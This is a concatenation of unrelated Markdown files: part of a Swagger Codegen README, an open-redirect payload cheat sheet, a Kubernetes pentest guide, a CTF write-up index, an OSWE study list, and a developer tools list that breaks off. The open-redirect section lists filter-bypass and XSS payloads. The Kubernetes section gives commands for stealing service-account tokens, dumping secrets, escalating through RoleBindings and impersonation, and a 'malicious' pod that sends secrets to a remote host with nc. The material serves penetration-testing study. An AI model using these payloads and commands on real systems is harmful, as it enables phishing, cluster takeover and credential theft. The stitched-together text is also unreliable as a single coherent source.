(Guzzle): @baartosz * PowerShell: @beatcracker * R: @ramnov * Rust: @farcaller * Rust (rust-server): @metaswitch * Scala (scalaz & http4s): @tbrown1979 * Swift: @tkqubo * Swift 3: @hexelon * Swift 4: @ehyche * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * TypeScript (jQuery): @bherila * Server Stubs * Ada: @stcarrez * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * C++ Pistache: @sebymiano * C++ Restbed: @stkrwork * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * Java Play Framework: @JFCote * Java PKMST: @anshu2185 @sanshuman @rkumar-pk @ninodpillai * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * Kotlin: @jimschubert * PHP Lumen: @abcsun * PHP Slim: @jfastnacht * PHP Symfony: @ksm2 * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Rust (rust-server): @metaswitch * Scala Finch: @jimschubert * Scala Lagom: @gmkumar2005 * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock * Configuration * Apache2: @stkrwork ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Technical Committee Members of the Swagger Codegen technical committee shoulder the following responsibilities: - Provides guidance and direction to other users - Reviews pull requests and issues - Improves the generator by making enhancements, fixing bugs or updating documentations - Sets the technical direction of the generator Who is eligible? Those who want to join must have at least 3 PRs merged into a generator. (Exceptions can be granted to template creators or contributors who have made a lot of code changes with less than 3 merged PRs) ## Members of Technical Committee | Languages | Member (join date) | |:-------------|:-------------| | ActionScript | | | Ada | @stcarrez (2018/02) | | Android | | | Apex | | | Bash | @kenjones-cisco (2017/09) | | C++ | @fvarose (2017/11) | | C# | @mandrean (2017/08) | | Clojure | | | Dart | @ircecho (2017/07) | | Eiffel | | | Elixir | | | Elm | | | Erlang | | | Groovy | | | Go | | | Haskell | | | Java | | | Kotlin | | | Lua | | | NodeJS/Javascript | @CodeNinjai (2017/07) | | ObjC | | | Perl | | | PHP | @dkarlovi (2017/07) @mandrean (2017/08) | | Python | @kenjones-cisco (2017/11)| | R | | | Ruby | @zlx (2017/09) | | Rust | | | Scala | | | Swift | @ehyche (2017/08) | | TypeScript | | # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2018 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
# Open URL Redirection > Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access. ## Summary * [Labs](#labs) * [Exploitation](#exploitation) * [HTTP Redirection Status Code](#http-redirection-status-code) * [Fuzzing](#fuzzing) * [Filter Bypass](#filter-bypass) * [Common injection parameters](#common-injection-parameters) * [References](#references) ## Labs * [Root Me - HTTP - Open redirect](https://www.root-me.org/fr/Challenges/Web-Serveur/HTTP-Open-redirect) * [PortSwigger - DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection/lab-dom-open-redirection) ## Exploitation An open redirect vulnerability occurs when a web application or server uses unvalidated, user-supplied input to redirect users to other sites. This can allow an attacker to craft a link to the vulnerable site which redirects to a malicious site of their choosing. Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent. Consider this example: Your web application has a feature that allows users to click on a link and be automatically redirected to a saved preferred homepage. This might be implemented like so: ```ps1 https://example.com/redirect?url=https://userpreferredsite.com ``` An attacker could exploit an open redirect here by replacing the `userpreferredsite.com` with a link to a malicious website. They could then distribute this link in a phishing email or on another website. When users click the link, they're taken to the malicious website. ## HTTP Redirection Status Code HTTP Redirection status codes, those starting with 3, indicate that the client must take additional action to complete the request. Here are some of the most common ones: - [300 Multiple Choices](https://httpstatuses.com/300) - This indicates that the request has more than one possible response. The client should choose one of them. - [301 Moved Permanently](https://httpstatuses.com/301) - This means that the resource requested has been permanently moved to the URL given by the Location headers. All future requests should use the new URI. - [302 Found](https://httpstatuses.com/302) - This response code means that the resource requested has been temporarily moved to the URL given by the Location headers. Unlike 301, it does not mean that the resource has been permanently moved, just that it is temporarily located somewhere else. - [303 See Other](https://httpstatuses.com/303) - The server sends this response to direct the client to get the requested resource at another URI with a GET request. - [304 Not Modified](https://httpstatuses.com/304) - This is used for caching purposes. It tells the client that the response has not been modified, so the client can continue to use the same cached version of the response. - [305 Use Proxy](https://httpstatuses.com/305) - The requested resource must be accessed through a proxy provided in the Location header. - [307 Temporary Redirect](https://httpstatuses.com/307) - This means that the resource requested has been temporarily moved to the URL given by the Location headers, and future requests should still use the original URI. - [308 Permanent Redirect](https://httpstatuses.com/308) - This means the resource has been permanently moved to the URL given by the Location headers, and future requests should use the new URI. It is similar to 301 but does not allow the HTTP method to change. ## Fuzzing Replace `www.whitelisteddomain.tld` from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case To do this simply modify the `WHITELISTEDDOMAIN` with value `www.test.com `to your test case URL. ```powershell WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt ``` ## Filter Bypass Using a whitelisted domain or keyword ```powershell www.whitelisted.com.evil.com redirect to evil.com ``` Using CRLF to bypass "javascript" blacklisted keyword ```powershell java%0d%0ascript%0d%0a:alert(0) ``` Using "//" & "////" to bypass "http" blacklisted keyword ```powershell //google.com ////google.com ``` Using "https:" to bypass "//" blacklisted keyword ```powershell https:google.com ``` Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //) ```powershell \/\/google.com/ /\/google.com/ ``` Using "%E3%80%82" to bypass "." blacklisted character ```powershell /?redir=google。com //google%E3%80%82com ``` Using null byte "%00" to bypass blacklist filter ```powershell //google%00.com ``` Using parameter pollution ```powershell ?next=whitelisted.com&next=google.com ``` Using "@" character, browser will redirect to anything after the "@" ```powershell http://[email protected]/ ``` Creating folder as their domain ```powershell http://www.yoursite.com/http://www.theirsite.com/ http://www.yoursite.com/folder/www.folder.com ``` Using "?" characted, browser will translate it to "/?" ```powershell http://www.yoursite.com?http://www.theirsite.com/ http://www.yoursite.com?folder/www.folder.com ``` Host/Split Unicode Normalization ```powershell https://evil.c℀.example.com . ---> https://evil.ca/c.example.com http://a.com/X.b.com ``` XSS from Open URL - If it's in a JS variable ```powershell ";alert(0);// ``` XSS from data:// wrapper ```powershell http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg== ``` XSS from javascript:// wrapper ```powershell http://www.example.com/redirect.php?url=javascript:prompt(1) ``` ## Common injection parameters ```powershell /{payload} ?next={payload} ?url={payload} ?target={payload} ?rurl={payload} ?dest={payload} ?destination={payload} ?redir={payload} ?redirect_uri={payload} ?redirect_url={payload} ?redirect={payload} /redirect/{payload} /cgi-bin/redirect.cgi?{payload} /out/{payload} /out?{payload} ?view={payload} /login?to={payload} ?image_url={payload} ?go={payload} ?return={payload} ?returnTo={payload} ?return_to={payload} ?checkout_url={payload} ?continue={payload} ?return_path={payload} ``` ## References * [Open-Redirect-Payloads - cujanovic](https://github.com/cujanovic/Open-Redirect-Payloads) * [Host/Split Exploitable Antipatterns in Unicode Normalization - BlackHat US 2019](https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf) * [Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7](https://s0cket7.com/open-redirect-vulnerability/) * [OWASP - Unvalidated Redirects and Forwards Cheat Sheet](https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet) * [Pentester Land - Open Redirect Cheat Sheet](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) * [You do not need to run 80 reconnaissance tools to get access to user accounts - @stefanocoding](https://gist.github.com/stefanocoding/8cdc8acf5253725992432dedb1c9c781)
# Kubernetes > Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation. ## Summary - [Tools](#tools) - [Container Environment](#container-environment) - [Information Gathering](#information-gathering) - [RBAC Configuration](#rbac-configuration) - [Listing Secrets](#listing-secrets) - [Access Any Resource or Verb](#access-any-resource-or-verb) - [Pod Creation](#pod-creation) - [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec) - [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings) - [Impersonating a Privileged Account](#impersonating-a-privileged-account) - [Privileged Service Account Token](#privileged-service-account-token) - [Interesting endpoints to reach](#interesting-endpoints-to-reach) - [API addresses that you should know](#api-addresses-that-you-should-know) - [References](#references) ## Tools * [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns * [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources * [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/) * [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters * [katacoda](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios ## Container Environment Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default. ### Service Account Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume: ``` /var/run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/ca.crt ``` If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly. ### Environment Variables The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to. ``` KUBERNETES_SERVICE_HOST=192.168.154.228 KUBERNETES_SERVICE_PORT=443 ``` Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns: - A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service. - A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes. For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed: ``` REDIS_MASTER_SERVICE_HOST=10.0.0.11 REDIS_MASTER_SERVICE_PORT=6379 REDIS_MASTER_PORT=tcp://10.0.0.11:6379 REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379 REDIS_MASTER_PORT_6379_TCP_PROTO=tcp REDIS_MASTER_PORT_6379_TCP_PORT=6379 REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11 ``` ### Simulating `kubectl` API Requests Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container. 1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...` 1. The output will include HTTP API endpoint URL, the request body, and an example curl command. 1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables. 1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container. 1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag). For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request: ```powershell # NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted. $ kubectl -v9 auth can-i --list I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}} I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews' I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers: ... ``` ## Information Gathering ### Service Account Permissions The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier. The following can be used to determine the service account's permissions: ```powershell # Namespace-level permissions using kubectl kubectl auth can-i --list # Cluster-level permissions using kubectl kubectl auth can-i --list --namespace=kube-system # Permissions list using curl NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace") # For cluster-level, use NAMESPACE="kube-system" instead MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}" TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token") curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ --cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \ --header "Authorization: Bearer ${TOKEN}" \ --header "Content-Type: application/json" \ --data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}' ``` ### Secrets, ConfigMaps, and Volumes Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster. From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`. True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`. ### Privileged Containers Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely). While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice. ## RBAC Configuration ### Listing Secrets An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace. ```powershell curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/ ``` ### Access Any Resource or Verb ```powershell resources: - '*' verbs: - '*' ``` ### Pod Creation Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`. Then create a malicious pod.yaml file. ```yaml apiVersion: v1 kind: Pod metadata: name: alpine namespace: kube-system spec: containers: - name: alpine image: alpine command: ["/bin/sh"] args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` Then `kubectl apply -f malicious-pod.yaml` ### Privilege to Use Pods/Exec ```powershell kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh ``` ### Privilege to Get/Patch Rolebindings The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. Create a malicious RoleBinging.json file. ```powershell { "apiVersion": "rbac.authorization.k8s.io/v1", "kind": "RoleBinding", "metadata": { "name": "malicious-rolebinding", "namespcaes": "default" }, "roleRef": { "apiGroup": "*", "kind": "ClusterRole", "name": "admin" }, "subjects": [ { "kind": "ServiceAccount", "name": "sa-comp" "namespace": "default" } ] } ``` ```powershell curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret ``` ### Impersonating a Privileged Account ```powershell curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/ ``` ## Privileged Service Account Token ```powershell $ cat /run/secrets/kubernetes.io/serviceaccount/token $ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/ ``` ## Interesting endpoints to reach ```powershell # List Pods curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/ # List secrets curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/ # List deployments curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments # List daemonsets curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets ``` ## API addresses that you should know *(External network visibility)* ### cAdvisor ```powershell curl -k https://<IP Address>:4194 ``` ### Insecure API server ```powershell curl -k https://<IP Address>:8080 ``` ### Secure API Server ```powershell curl -k https://<IP Address>:(8|6)443/swaggerapi curl -k https://<IP Address>:(8|6)443/healthz curl -k https://<IP Address>:(8|6)443/api/v1 ``` ### etcd API ```powershell curl -k https://<IP address>:2379 curl -k https://<IP address>:2379/version etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only ``` ### Kubelet API ```powershell curl -k https://<IP address>:10250 curl -k https://<IP address>:10250/metrics curl -k https://<IP address>:10250/pods ``` ### kubelet (Read only) ```powershell curl -k https://<IP Address>:10255 http://<external-IP>:10255/pods ``` ## References - [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1) - [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2) - [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://securityboulevard.com/2019/11/kubernetes-pentest-methodology-part-3) - [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0) - [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)
# Welcome to TheRokdaba ## CTF Writeups - [Hero CTF 2023 Appointment Book](https://therokdaba.github.io/2023/05/23/HeroCTF-AppointmentBook.html) - [RTL CTF 2021](https://therokdaba.github.io/2021/08/02/RTL.html) ### RingZer0 CTF: - [Looking For Password File](https://therokdaba.github.io/2021/07/16/RingZer0-Looking-For-Password-File.html) - [Big Brother Is Watching](https://therokdaba.github.io/2021/07/16/RingZer0-Big-Brother-Is-Watching.html) - [Headache](https://therokdaba.github.io/2021/07/16/RingZer0-Headache.html) - [Words Mean Something?](https://therokdaba.github.io/2021/07/16/RingZer0-Words-Mean-Something.html) ### CTF Learn: - [Basic Injection](https://therokdaba.github.io/2021/07/16/CTFLearn-Basic-Injection.html) ## Cheatsheets based on Try Hack Me Rooms: - [THM - Learn Linux](https://therokdaba.github.io/2021/04/16/THM-Learn-Linux.html) - [THM - Metasploit](https://therokdaba.github.io/2021/04/16/THM-Metasploit.html) - [THM - Find Command](https://therokdaba.github.io/2021/04/16/THM-Find-Command.html) - [THM - CCPentesting](https://therokdaba.github.io/2021/05/02/THM-CCPentesting.html) - [THM - RP:Nmap](https://therokdaba.github.io/2021/05/02/THM-RP-NMAP.html) ## HackTheBox Writeups: - [Lame](https://therokdaba.github.io/2023/07/26/HTB-Lame.html) - [Archetype](https://therokdaba.github.io/2021/06/05/HTB-Archetype.html) ## "My Journey Coding a Life Simulator" - Archived February 2021: - [Part 01](https://therokdaba.github.io/2021/02/12/Life-Simulator-Journey-Part-01.html) - [Part 02](https://therokdaba.github.io/2021/02/13/Life-Simulator-Journey-Part-02.html) - [Part 03](https://therokdaba.github.io/2021/02/27/Life-Simulator-Journey-Part-03.html)
# AWAE-Preparation This repository will contain all trainings and tutorials I have done/read to prepare for OSWE. ### Course Syllabus: https://www.offensive-security.com/documentation/awae-syllabus.pdf ### Before AWAE: I would not recommend taking the course before at least; finishing all SQL and XSS Injection challenges in bWAPP https://sourceforge.net/projects/bwapp/files/bee-box/ and being able to understand and debug different languages like **C#, Php, Java, and Javascript**. * #### Cross-Site Scripting: * https://xhr.spec.whatwg.org/ * #### Session Hijacking * https://popped.io/hijacking-sessions-using-socat/ * https://pentesterlab.com/exercises/xss_and_mysql_file/course * #### Persistent Cross-Site Scripting * https://www.acunetix.com/blog/articles/persistent-xss/ * https://portswigger.net/web-security/cross-site-scripting * #### Cross-Site Request Forgery * https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html * #### XSS and MySQL * https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/ * #### Bypassing File Upload Restrictions: * https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf * http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html * https://www.owasp.org/index.php/Unrestricted_File_Upload * Popcorn machine from HackTheBox * Vault machine from HackTheBox * #### PHP Type Juggling: * https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf * https://medium.com/@Q2hpY2tlblB3bnk/php-type-juggling-c34a10630b10 * https://foxglovesecurity.com/2017/02/07/type-juggling-and-php-object-injection-and-sqli-oh-my/ * https://www.netsparker.com/blog/web-security/php-type-juggling-vulnerabilities/ * http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html * https://www.netsparker.com/blog/web-security/type-juggling-authentication-bypass-cms-made-simple/ * https://www.php.net/manual/en/types.comparisons.php * https://github.com/spaze/hashes * https://www.whitehatsec.com/blog/magic-hashes/ * Falafel machine from HackTheBox * #### Deserialization: * https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html * https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf * https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md * https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Aleksei%20Tiurin_Deserialization%20vulnerabilities.pdf * https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf * https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf * #### .NET Deserialization: * https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf * https://github.com/pwntester/ysoserial.net * https://github.com/0xd4d/dnSpy * #### Java Deserialization: * https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/ * https://www.owasp.org/images/7/71/GOD16-Deserialization.pdf * https://github.com/frohoff/ysoserial * https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md * https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/ * #### JavaScript Injection: * https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html * https://capacitorset.github.io/mathjs/ * #### NodeJS: * https://maikthulhu.github.io/2019-05-17-remote-debugging-node-vscode/ * https://github.com/ajinabraham/Node.Js-Security-Course * https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/ * https://www.yeahhub.com/nodejs-deserialization-attack-detailed-tutorial-2018/ * Celestial machine from HackTheBox * #### SQLi: * https://pentesterlab.com/exercises/from_sqli_to_shell/course * https://www.acunetix.com/websitesecurity/blind-sql-injection/ * #### PostgreSQL * http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet * http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt * https://www.exploit-db.com/papers/13084 * http://www.postgresqltutorial.com/postgresql-string-functions/ * https://www.linuxtopia.org/online_books/database_guides/Practical_PostgreSQL_database/c7547_002.htm * https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf * https://dotcppfile.wordpress.com/2014/07/12/blind-postgresql-sql-injection-tutorial/ * #### Long Readings: * Use of Deserialization in .NET Framework Methods and Classes. https://www.nccgroup.trust/globalassets/our-research/uk/images/whitepaper-new.pdf * https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf ## Before The Exam: **The Web Application Hacker's Handbook** is your friend. The negative part of AWAE course is that they did not include enough methodologies for vulnerability discovery, thus, I strongly recommend reading Chapter 21 from **The Web Application Hacker's Handbook** , and be comfortable debugging C#, Java, Php, and Javascript, using Burp Suite, dnSpy, JD-GUI, Visual Studio, and writing custom PoC in at least one language :). 🐦 [@Mohdcsec](http://twitter.com/mohdcsec "@Mohdcsec")
--- sidebar: auto sidebarDepth: 2 --- # Useful Tools :mag_right: _This is a list of useful tools and programs for developpers, devops, admins, ... but not only. Whereas most of them are Open Source, not all of them are. Please check licences that may apply. This list contains items that i **personally** find useful, usages may differ._ The concept behind that list is based on the famous "[awesome](https://github.com/sindresorhus/awesome)" lists you can find on github. Since they did not fully suited my need, i preferred to go with my own version. - You can find this project on [Github](https://github.com/trolologuy/useful-tools) <iframe src="https://ghbtns.com/github-btn.html?user=trolologuy&repo=useful-tools&type=star&count=true&size=small" frameborder="0" scrolling="0" width="90" height="20" title="Star Useful Tools on GitHub"></iframe> - If you want to find out more about me and my projects, you can find my [portfolio here](https://trolologuy.github.io/) Please feel free to comment or open a pull request if you know better tools / or alternatives or if some links are dead, ... 😉 ## Architecture / Modelling / UML / Diagrams _Planning is half the work_ - [cloudcraft](https://cloudcraft.co/) - Visualize your cloud architecture like a pro: create smart AWS diagrams - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [diagrams](https://www.diagrams.net/) - Online, desktop and container deployable diagramming software - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gliffy](https://www.gliffy.com/) - Diagram software that integrates into confluence - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Lucidchart](https://www.lucidchart.com/pages/) - Diagramming application that brings teams together - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Staruml](http://staruml.io/) - A sophisticated Cross-Platform software modeler for agile and concise modeling - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [yed](https://www.yworks.com/products/yed) - Quickly and effectively generate high-quality diagrams. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Application Programming Interface (API) Development _'cause i'm API_ - [fastapi](https://github.com/tiangolo/fastapi) - 